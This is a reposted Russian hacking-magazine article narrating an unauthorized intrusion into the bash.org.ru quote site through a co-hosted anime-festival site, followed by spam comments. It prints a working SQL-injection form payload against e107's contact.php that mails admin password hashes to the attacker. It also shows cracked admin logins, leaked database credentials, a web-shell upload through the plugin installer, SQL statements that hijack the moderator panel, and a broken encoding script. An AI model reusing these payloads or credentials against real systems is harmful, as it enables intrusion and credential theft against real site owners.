Besthacksoft Воскресенье, 05.05.2024, 01:32
Меню сайта
Категории каталога
Разное [11]
компьютерная безопасность [3]
Наш опрос
Оцените мой сайт
Всего ответов: 34
Главная » Статьи » Разное [ Добавить статью ]

Посмеялись и хватит: беспрецедентная атака на цитатник рунета

На улице шел проливной дождь. Было грустно, и я решил почитать баш. За чтением мне пришла в голову безумная идея попасть в админку цитатника рунета и пощупать его изнутри. Самое главное – где-то спустя полдня археологических изысканий мне это удалось!

От идеи к действиям

Расскажу подробнее о наивнейших ошибках людей, отвечающих за софт на серверах русского башорга. Итак, погнали!

Первым делом я немного пощупал скрипты самого башорга. Единственным интересным открытием был фришный php-скрипт Openads 2.0.11-pr1 (phpadsnew.com), расположенный по адресу http://lol.bash.org.ru/b/admin/index.php. Скрипт отвечает за текстовую рекламу, расположенную между цитатами на всех страницах баша. Посерфив пару-тройки секурити-порталов, я не нашел ни одного паблик сплойта под эту версию. Немного покопав движок на предмет багов, я решил оставить его на потом, и продолжил свои поиски.

Следующим шагом был сервис www.seologs.com/ip-domains.html, который показал мне все виртуальные домены, расположенные на IP-адресе баша (89.111.182.137). Это были:

http://animau.ru
http://bash.org.ru
http://tanibata.ru
http://words.bash.org.ru

Как видишь, улов не особо густой. Единственным доступным из этих адресов, не считая самого баша, был сайт tanibata.ru, посвященный фестивалю японской анимации (чертовы анимешники :)). За него я и взялся.

Ня!

Вскользь просмотрев исходник главной страницы подопытного сайта, я увидел там строку:

<script type='text/javascript' src='/e107_files/e107.js'></script>

и очень обрадовался, что там установлен «самый безопасный движок по версии журнала PC Magazine» e107 :). Следующим шагом было определение версии движка. Насколько я знал, сделать это можно, по меньшей мере, двумя способами. Первый – пройти по адресу http://tanibata.ru/e107_docs/README_UPGRADE.html. Второй – пройти по адресу http://tanibata.ru/e107_admin/admin.php.

Ни один из способов не прокатил. Тогда я взял за основу дату первой публикации новости на сайте (Sunday 27 May 2007) и чисто теоретически предположил, что версия движка лежит в пределах от 0.7.6 до 0.7.8 (причем, последняя на момент написания статьи – 0.7.11). Теперь необходимо было немного «посерчить» на http://milw0rm.com на предмет паблик эксплойтов под e107, чем я немедленно и занялся. Под искомые версии движка существовали следующие сплойты:

e107 <= 0.7.8 (photograph) Arbitrary File Upload Vulnerability
e107 0.7.8 (mailout.php) Access Escalation Exploit (admin needed)

Второй я отбросил сразу, так как он требовал права админа. Прочитав же описание к первому, я вынужден был отбросить и его, так как это была ложная уязвимость, которая предоставляла лишь загруженный php-код в теле фотографии (и ничего более). Отложив на время e107, я принялся серфить дальше мой подопытный ресурс. Единственной зацепой был форум IP.Board, расположенный по адресу http://tanibata.ru/forum/. Открыв исходник страницы, я крайне расстроился, ибо версия IPB 2.2.0 была на тот момент абсолютно непробиваемой. Ничего не оставалось, как самому копать исходники либо IPB, либо e107. Я выбрал e107. И не ошибся!

Индиана Джонс и e107

Слив на свой ноутбук cms e107 0.7.8 и благополучно установив, я стал ковырять скрипты. Через несколько часов я получил результат в виде скрипта contact.php и следующей строчки кода в нем:

else
{
$query = "user_id = ".$_POST['contact_person'];
}

Как видно, переменная $_POST['contact_person'] подставляется в SQL-запрос абсолютно нефильтрованной! Трудность заключалась в дальнейших строках кода:

if($sql -> db_Select("user", "user_name,user_email",$query." LIMIT 1"))
{
$row = $sql -> db_Fetch();
$send_to = $row['user_email'];
$send_to_name = $row['user_name'];
}
else
{
$send_to = SITEADMINEMAIL;
$send_to_name = ADMIN;
}

Сложностей было даже две.

Первая: e107 никогда, ни при каких обстоятельствах не выведет сообщения об ошибке в SQL-запросе.

Вторая: при верно составленной SQL-квере мыло, которое ты отсылаешь в форме контакта с администрацией, уйдет на e-mail, который ты укажешь сам; иначе – на мыло админа. Эксплойт для blind sql-injection был, в принципе, возможен, но, как обычно, писать его было лениво.

Немного подумав, я вспомнил об одной особенности заголовка «To:» при отправке мыла. Итак, в этом поле можно указать мыло получателя в формате «Имя фамилия billy@microsoft.com», и e-mail успешно уйдет адресату! На основе этой информации я придумал простенький эксплойт под эту багу:

<form action="http://tanibata.ru/contact.php" method="POST">
<input name="send-contactus" value="1"/>
<input name="body" value="Thisd is a test email from tanibata =)"/>
<input name="email_send" value="moy_email@gmail.com"/>
<input name="author_name" value="mazafaka"/>
<input name="subject" value="Mega Subject"/><br/>
<input size=200 name="contact_person" value="-999 union
select 1,concat(user_password,' ',user_loginname,' <moy_email@gmail.com>')
from e107_user where user_id=1/*"/>
<br/><input type="submit" value="ok"/>
</form>

Но так как на сервере был включен magic_quotes_gpc, то этот вариант сплойта не прокатил. Нужно было модифицировать все символы, находящиеся в кавычках, в char. Для этого я написал простенький скрипт:

<?php
$symbols=' <moy_email@gmail.com>';
for($i=0;$i<strlen($site);$i++)
{
$i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)].',' : print $arr[substr($site,$i,1)];
}
?>

В результате получилось что-то вроде этого в поле «contact_person»:

value="-999 union select user_password,
concat(
user_password, char(32),
user_loginname, char(32,60,109,111,121,95,121,97,119,105,107,
64,98,107,46,114,117,62))
from e107_user where user_id=1/*"

После успешного сабмита я увидел мессагу от e107: «Your message was succesfully sent!», а также новое мыло в своем ящике, где в поле «To:» были хеш и логин админа tanibata.ru:

"To: "30e50569d9a3d6f73ec5075754d43d07 Ren" <moy_email@gmail.com>"

Для успешного входа в админку портала мне жизненно необходимо было расшифровать полученный хеш, так как копаться в исходных кодах e107, отвечающих за авторизацию пользователей, опять не позволяла та же лень. Я полез на всеми любимый сервис по расшифровке md5-хешей plain-text.info, который, к глубочайшему сожалению, не смог мне ничем помочь. Не отчаиваясь, я просмотрел список всех юзеров танибаты с помощью http://tanibata.ru/e107_plugins/forum/forum_stats.php. Приветливый скрипт подсказал мне, что на портале есть и второй админ с ником Selena и ID=2, к которому я и применил свой мегасплойт. Новый хеш e10adc3949ba59abbe56e057f20f883e plain-text.info расшифровал уже с большей охотой, в результате чего я и оказался в админке http://tanibata.ru/e107_admin/admin.php с данными Selena:123456 :).

Кавай!

Далее было бы логично залить шелл. Чем я тут же и занялся! Потыкав немного по различным пунктам админки и убедившись, что любой аплоад файла с расширениями .php, .phtml режется на корню, я случайно наткнулся на интересную форму того же аплода в управлении плагинами. Эта форма поддерживает загрузку новых плагинов, запакованных в zip или tar.gz. Следуя этой логике, я запаковал свой шелл в zip и успешно загрузил его, в результате чего получил доступ к серваку по адресу http://tanibata.ru/e107_plugins/404.php?stulcheg :). Немного пошастав по серваку, я нашел сам башорг в /export/hosts/bash.org.ru/documents, где в дальнейшем и остался для изучения всей подноготной баша.

Глубже!

Первым каталогом, заинтересовавшим мое внимание, был admstat. Перейдя по адресу http://bash.org.ru/admstat, я увидел незащищенную паролем статистику зааппрувленных и перелопаченных модераторами баша цитат! Как стало видно из статистики, наиболее активным модером является ujin :). Следующим каталогом для изучения стал app42. По этому адресу находится админга русского башорга. Но чтобы попасть в нее, нужно было изучить механизм авторизации в app42/index.php. Меня заинтриговал следующий код:

if (isset($_COOKIE["panda"]) and isset($_COOKIE["kopanda"])) {
$check = $db->get_results("select id, login, password from moderators where md5(login)='".
$_COOKIE["panda"]."' and password='".$_COOKIE["kopanda"]."'", ARRAY_A);
if (!empty($check)) {
$moderator_id = $check[0]['id'];
setcookie("panda", $_COOKIE["panda"], $time+3200);
setcookie("kopanda", $_COOKIE["kopanda"], $time+3200);
$db->query("update moderators set lastseen_at=now() where id=$moderator_id");
$smarty->assign("MODERATOR_ID", $moderator_id);
} else {
header($failover."login");
}
} else {
if ($request_action != 'login') header($failover."login");
}
...
case 'login':
if (isset($_POST['login']) && isset($_POST['password'])) {
$login = $_POST['login'];
$password = $_POST['password'];
$check = $db->get_results("select login, password from moderators
where login='$login' and password=PASSWORD('$password')", ARRAY_A);
if (!empty($check)) {
setcookie("panda", md5($login), $time+3200);
setcookie("kopanda", $check[0]['password'], $time+3200);
header($failover);
}
}
$template = 'admin_login.tpl';
break;

Отсюда следовало:

  1. Логины и пароли модераторов хранятся в таблице moderators. Поля login и password, соответственно.
  2. Пароли модераторов зашифрованы встроенной функцией mysql PASSWORD().
  3. Если существуют куки со следующим содержанием – $_COOKIE["panda"]=md5('логин_модератора') и $_COOKIE["kopanda"]=PASSWORD('пароль_модератора'), то ты оказываешься успешно залогиненным в админку.

Необходимо было найти доступы к базе данных. Над ней предстояло немного поизвращаться, дабы не расшифровывать mysql5-хеши модеров.

Я залил менеджер БД RST Mysql в ту же папку, где у меня лежал шелл, и успешно проник в базу башорга с помощью урл http://tanibata.ru/e107_plugins/sql.php. Данные для доступа к БД лежали в корне башорга в файле _config.inc.php:

$db = new ezSQL_mysql(
'krivedko',
'DiamondIsUnbreakable',
'bashorg_refactored',
'localhost');
(ezSQL – не правда ли, знакомое название?)

Зайдя в bashorg_refactored в таблицу moderators, я увидел все данные модеров баша в формате id, логин, имя, пароль и последний заход в админку.

Далее я успешно провел запрос к БД, позволивший мне зайти в админку под своим паролем:

UPDATE moderators
SET password=PASSWORD('lopa')
WHERE id=1;

После логина в админку с данными administrator:lopa я изменил обратно пароль ДаркРайдера:

UPDATE moderators
SET password='*08CDE192357B3CAB08B29E1636F78F0116452E79'
WHERE id=1;

А также подставил значение *08CDE192357B3CAB08B29E1636F78F0116452E79 в кукис kopanda с помощью своей любимой Оперы (Инструменты -> Дополнительно -> Cookies). На этом, собственно, моя цель и была достигнута.

Во имя добра

Я не стал наносить никакого вреда своему любимому ресурсу, а лишь немного походил по админке и посмотрел на bash.org.ru изнутри. Все-таки работа модераторов такого сайта огромна. И тебе хочу дать совет на будущее: никогда не разрушай то, что приносит радость и веселье людям. А через несколько дней все баги были закрыты без моего вмешательства, за что честь, хвала и ящик пива админам!

DANGER

Вся описанная информация предоставляется исключительно к ознакомлению и размышлению. Никакая часть данного материала не может быть использована во вред, в обратном случае, ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный материалами статьи.


Полную версию статьи читай в июльском номере Хакера!



Источник: http://www.xakep.ru/post/44911/default.asp
Категория: Разное | Добавил: Besthacksoft (24.03.2009)
Просмотров: 4324 | Комментарии: 5 | Рейтинг: 0.0/0 |

Всего комментариев: 4
4 AntontinOt  
0
Бесплатно. Обеспеченные клиенты для Вашей фирмы и Вашего города.

Предлагаем базы данных фирм России, Украины, Белоруссии и Казахстана.

Пишите на новую почту для заказа новых баз данных фирм: baza-gorodow(собачка)yandex.ru

Стоимость базы фирм 1 города — от 700 до 1200 рублей! По стране 1 вид деятельности — 2000 рублей!

БАЗЫ СОБИРАЕМ СРАЗУ ПОСЛЕ ЗАКАЗА - БЕЗ ПРЕДОПЛАТЫ!
ПРЕДОСТАВЛЯЕМ СКРИНЫ ДЛЯ ПРОСМОТРА И ДЕМО ВЕРСИИ БАЗ!

как найти клиентов

Спектр применения баз фирм огромный:

1. Вы можете использовать их для обзвона потенциальных клиентов
2. Для рассылки писем по email
3. Для смс - рассылки
4. Для почтовой рассылки на юридические адреса фирм
5. Для поиска партнеров и новых клиентов в социальных сетях на страничках фирм
6. Для написания Вашего предложения на сайтах фирм и т.д.

Если не хотите больше получать информацию, то напишите на почту адреса Вашего
сайта, внесём его в Блек лист.

Принимаем заказы на новые базы данных на новую эту почту: baza-gorodow"@"yandex.ru (уберите кавычки!)

3 inhegiorecorp  
0
Харизматичные люди стали! Вот в поисковике от мэйла попал на предложение http://rentrealtycrimea.com - сдам квартиры Симферополь
и обрадовался. Кстати забыл поздороваться! В общем сдам квартиру в Симферополе Крым
,я прочитал и оперативно раздуплился, что настоящая житуха только начинает свой путь – раз имеются такие комнаты. Поэтому каждому советую веб-сайт http://rentrealtycrimea.com с недвижимостью Крыма.

2 beizoxogmamob  
0
Наш кинотеатр онлайн позволит вам насладиться любимыми фильмами в хорошем качестве бесплатно и без регистрации

[url=http://www.online-youfilm.ru/]кинотеатр онлайн
[/url]

1 beizoxogmamob  
0
Наш кинотеатр онлайн позволит вам насладиться любимыми фильмами в хорошем качестве бесплатно и без регистрации

[url=http://www.online-youfilm.ru/]кинотеатр онлайн хорошее качество бесплатно
[/url]

Имя *:
Email *:
Код *:
Форма входа
Поиск
Друзья сайта
Статистика
Copyright MyCorp © 2024